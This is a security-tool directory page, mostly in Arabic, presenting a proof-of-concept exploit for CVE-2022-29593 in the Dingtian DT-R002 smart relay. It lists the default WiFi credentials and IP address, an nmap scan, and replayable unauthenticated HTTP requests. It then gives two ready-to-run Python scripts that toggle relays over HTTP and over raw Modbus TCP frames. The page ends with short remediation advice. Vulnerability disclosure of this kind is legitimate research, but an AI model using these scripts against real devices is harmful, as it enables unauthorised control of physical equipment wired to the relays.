Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-29593 — استغلال PoC لـ CVE-2022-29593 يوضح تجاوز المصادقة عبر الالتقاط وإعادة الإرسال على المرحل الذكي Dingtian DT-R002، مع هجمات إعادة HTTP و Modbus. | Kitploit
أدوات/GitHubGitHub/9lyph/cve-2022-29593
التقاط وتحليل الحزمالاستطلاعأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالأمن SCADA/ICSاستغلال تطبيقات الويبالاختبار العشوائياختبار الاختراقأمان الأجهزة وإنترنت الأشياءالمصادقة
83منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
9lyph/cve-2022-29593

CVE-2022-29593

استغلال PoC لـ CVE-2022-29593 يوضح تجاوز المصادقة عبر الالتقاط وإعادة الإرسال على المرحل الذكي Dingtian DT-R002، مع هجمات إعادة HTTP و Modbus.

عرض المستودع

CVE-2022-29593 - تجاوز المصادقة عبر إعادة تشغيل الالتقاط (Dingtian-DT-R002)

العنوان

dingtian

تجاوز المصادقة عبر إعادة تشغيل الالتقاط نُشر: الإصدار: 1.0 البائع: Shenzhen Dingtian Technologies Co.,Ltd المنتج: لوحة مرحل بقناتين/بطاقة مرحل الإصدار المتأثر: البرنامج الثابت V3.1.276A

المنتج - Dingtian DTR004

رابط Ali Express

وصف المنتج

  • لوحة مرحل بقناتين/بطاقة مرحل
  • تدعم WiFi/RS485/Ethernet

المواصفات الفنية

root@kitploit:~
Overview

Support multiple channel relay, On/Off/Delay/Jog
Support multiple interface RJ45/RS485/CAN/WIFI
Local Button control
PC app config and control
WEB config and control
8KB FIFO command buffer
Support password.
WIFI smart config support
Button control
MQTT/Modbus/CoAP

Technical parameters

Interface RJ45/ RS485/CAN/WIFI
Baudrate 100M/115200bps/125kbps/150Mbps
Protocol TCP server/client,UDP server/client,RS485,CAN,WIFI
Operating temperature -10~+75°C
Storage temperature -40~+125°C
Relative humidity 5~95% RH, no condensation
Power supply 9-40V Non-polar
Current 1A@12V DC
Power consumption <5W

Relay parameters

Relay Power AC 250V/10A,DC 30V/10A
Delay 1~65535 seconds
Jog Pull in 0.5 seconds, automatically release

Power supply Non-polar

DC 9~40V Non-polar

المراجع

  • MITRE

  • Exploit-db

الشركة المصنعة

  • تأسست في عام 2019، Dingtian هي شركة مصنعة لأجهزة إنترنت الأشياء وأنظمة التحكم في الوصول الذكية. المنتجات الفعالة والمستقرة والتسليم السريع هي مدونة قواعد سلوكنا.

البحث

  • تم التشغيل (12VDC @ 1Amax)

>

  • فحص الشبكة
  • شبكة WiFi الافتراضية (SSID): dtrelay7685 (الرقم التسلسلي هو آخر أربعة أرقام)
    • أين يمكنني العثور على الرقم التسلسلي؟
  • مفتاح PSK الافتراضي: dtpassword
  • عنوان IP الافتراضي: 192.168.7.1
root@kitploit:~
nmap -p- --open -Pn 192.168.7.1
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http 
502/tcp open  mbap 

الوصول عبر HTTP

  • يسمح الوصول عبر HTTP بالتحكم في الجهاز أثناء الاتصال بـ SSID الافتراضي

>

الاكتشاف

تجاوز المصادقة عبر إعادة تشغيل الالتقاط

  • يسمح مرحل Dingtian (Dingtian DT-R002) ثنائي القنوات، الذي يعمل بالبرنامج الثابت V3.1.276A، للمهاجم بإعادة تشغيل نفس البيانات أو بيانات مشابهة. وهذا يسمح للمهاجم بالتحكم في الأجهزة المتصلة بالمرحلات دون الحاجة إلى المصادقة.
  • تم اكتشاف إمكانية التحكم في مرحلات الجهاز (تشغيل وإيقاف) عبر طلبات HTTP غير مصادق عليها.

تظهر الأدلة طلب HTTP والاستجابة المستخدمة لتشغيل وإيقاف المرحل.

root@kitploit:~
Turning ON

Request
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&1&0&

Turning OFF

Request
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&0&0&

نقطة الضعف

  • CWE-294 - تجاوز المصادقة عبر إعادة تشغيل الالتقاط

التكوينات البرمجية المتأثرة المعروفة

  • V3.1.276A (البرنامج الثابت)

كود الإثبات

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: DingTian DT-R002 2CH Smart Relay                                      |")
    print ("|   Usage : "+sys.argv[0]+" <host> <relay#>                                           |")   
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    urlRelay1On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
    urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
    urlRelay2On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
    urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"

    headers = {
        "Host": ""+host+"",
        "User-Agent": "9lyph/3.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "DNT": "1",
        "Connection": "close",
        "Referer": "http://"+host+"/relay_cgi.html",
        "Cookie": "session=4463009"
    }

    print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
    for i in range(5):
        time.sleep (1)
        print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
    try:
        if (relay == "1"):
            print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay1On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
            r = requests.get(urlRelay1Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        elif (relay == "2"):
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        else:
            print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
    except KeyboardInterrupt:
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except Exception as e:
        print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)

if __name__ == "__main__":
    if len(sys.argv)>2:    
        host = sys.argv[1]
        relay = sys.argv[2]
        main ()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

الاختراق عبر ModbusTCP

كان من الممكن أيضًا تشغيل وإيقاف المرحلات باستخدام بروتوكول Modbus. بروتوكول Modbus الذي يعمل على TCP 502 غير آمن إلى حد ما ويسمح بقراءة وكتابة السجلات دون الحاجة إلى المصادقة.

تظهر الأدلة الكتابة إلى سجلات متعددة باستخدام hex لتشغيل وإيقاف المرحل

كود الإثبات

root@kitploit:~
import socket
import sys
import os
import time
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

'''
4.3.2 0x06:Write Single Register
4 Relay All ON
Send:
0000 0000 0006 FF 06 0002 0f0f
Recv:
0000 0000 0006 FF 06 0002 0f0f
4 Relay All OFF
Send:
0000 0000 0006 FF 06 0002 0f00
Recv:
01 06 0002 0f00 2DFA

0000                     0000                 0006            FF               06                      00020f0f
<2 byte Transaction ID> |<2 byte Protocol ID>|<2 byte length>|<1 byte Unit ID>|<1 bytes function code>|<Data for response or commands>

Transaction ID: This is used for synchronisation between Server and Client
Protocol ID: 0 for ModBusTCP
Length Field: Number of remaining bytes in the frame
Unit Identifier: Server Address (255 or FF if not used)
Function Code: Function code as in other variants
Data Bytes: Data for response of commands
    - Function code 06 (Write Singlt Register) [Request]
        - Address of holding register to preset/write (2bytes)
        - New Value of the holding register (2bytes)
'''

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: DingTian DT-R002 2CH Smart Relay                                   |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()

    s = socket.socket()
    try:
        s.connect((host, 502))
        print (Fore.GREEN + "[+] " + Fore.WHITE + "T" + Fore.GREEN + "u" + Fore.WHITE + "r" + Fore.GREEN + "n" + Fore.WHITE + "i" + Fore.GREEN + "n" + Fore.WHITE + "g" + Fore.GREEN + "R" + Fore.WHITE + "e" + Fore.GREEN + "l" + Fore.WHITE + "a" + Fore.GREEN + "y" + Fore.WHITE + " O" + Fore.GREEN + "n" + Style.RESET_ALL)
        on = ("000000000006FF0600020f0f")
        off = ("000000000006FF0600020f00")
        # read =  ("000000000006FF0400020001")
        s.sendall((bytes.fromhex(on)))
        time.sleep(10)
        print (Fore.RED + "[+]" + Fore.WHITE + "T" + Fore.RED + "u" + Fore.WHITE + "r" + Fore.RED + "n" + Fore.WHITE + "i" + Fore.RED + "n" + Fore.WHITE + "g" + Fore.RED + " R" + Fore.WHITE + "e" + Fore.RED +"l" +Fore.WHITE + "a" +Fore.RED + "y" + Fore.WHITE + " O" + Fore.RED + "f" +Fore.WHITE + "f")
        s.sendall((bytes.fromhex(off)))
        data = s.recv(1024)
        print (Fore.BLUE + "[+]" + Fore.WHITE + "P" + "w" + Fore.BLUE + "n" + Fore.WHITE + "e" + Fore.BLUE + "d" + Fore.WHITE + "!" + Fore.BLUE + "!" + Style.RESET_ALL)
    except socket.timeout:
        print (f"[!] Cannot connect to target: {host} !!")
    except Exception as e:
        print(e)

if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main ()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target !" + Style.RESET_ALL)

تظهر الأدلة هيكل طلب عميل Modbus الذي يظهر أكواد Hex ذات الصلة بعد فحص TCPDUMP ملتقطة

  • تشغيل مرحل Modbus

>

  • إيقاف تشغيل مرحل Modbus

>

  • من خلال التقاط معاملات عميل Modbus هذه عبر الشبكة، يمكن إعادة تشغيلها للسيطرة على المرحل وبالتالي الجهاز المتصل بالمرحل.

التفكيك

  • ESP32 MCU - https://fccid.io/2AC7Z-ESP32

  • ورقة البيانات

>

تم الاختراق

خطوات الإصلاح

  • تنفيذ HTTPS
  • تنفيذ رموز التفويض لكل طلب/معاملة

الاختراق

المكتشف/الإسناد:

Victor Hanna من Exploit Security

تابعني على

Mastodon Linkedin Youtube

تنزيل الأداة